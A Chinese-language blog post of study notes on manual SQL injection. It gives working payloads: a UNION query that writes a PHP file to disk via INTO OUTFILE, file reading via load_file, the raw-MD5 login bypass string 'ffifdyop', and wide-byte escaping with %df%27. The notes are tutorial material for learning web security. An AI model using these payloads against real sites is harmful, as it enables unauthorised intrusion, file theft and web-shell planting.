SQL手工注入基本知識——東哥視頻學習筆記

一、注入類型:

1.整型(沒有單引號和雙引號)

2.字符型(有單引號和雙引號)

 

get,post, cookie user-agent 注入,其實就是針對不同的點進行注入,實際上就是整型和字符型的注入在不同點的實現。

 

二、導出數據庫:

payload:

id=1 and 1=2 union select 1,2,'<?php phpinfo()?>' from admin into outfile 'd:/111.php'

可以將php phpinfo的語句使用十六進制繞過單引號的過濾。

 

三、讀文件:

通過load_file(0x2fadajkdlgajo)  也支持十六進制

通過聯合注入讀文件,一開始判斷到數據庫有三個字段,故payload爲 id=1 and 1=2 union select 1,1,load_file("d:/1.txt")

 

四、html的錨點:

即瀏覽器對用戶輸入的#號,認爲是html的錨點(點擊某個點,直接跳轉到瀏覽器頁面相對應的位置),而#在mysql中是註釋符,需要用到註釋,不能被瀏覽器作爲錨點用於當前頁面的執行,故需要對#號做URL編碼。#-->%23

 

五、閉合單引號:

通過後面輸入一個字符型判斷條件閉合後字符型注入後面的單引號

如 id=1' and 1=2 union select 2,2,2 from admin where '1' = '1

 

六、MD5注入:

$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";

 

md5($password,true)將MD5值轉化爲了十六進制 

思路比較明確,當md5後的hex轉換成字符串後,如果包含 ‘or’ 這樣的字符串,那整個sql變成

SELECT * FROM admin WHERE pass = ''or'6<trash>'

 

提供一個字符串:ffifdyop

 

七、取別名(用於報錯注入)

select username,password from admin

 

取別名:

select username as xiaoming, password as xiaodong from admin

 

select username as xiaoming, password as xiaodong from admin  order by id

(也可以將as省略掉)

select username as xiaoming, password as xiaodong from admin  order by xiaoming

以上均不會報錯。

 

 

select username as xiaoming, password as xiaodong from admin  order by dongdong

則產生報錯。

 

八、寬字節注入:

如果客戶端發送的數據字符集是gbk,則可能會吃掉轉義字符\。

%df%27

 

九、常用注入函數:

hex() ord() char() 

hex十六進制 ord轉換爲ascii碼 char用於ascii碼還原

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章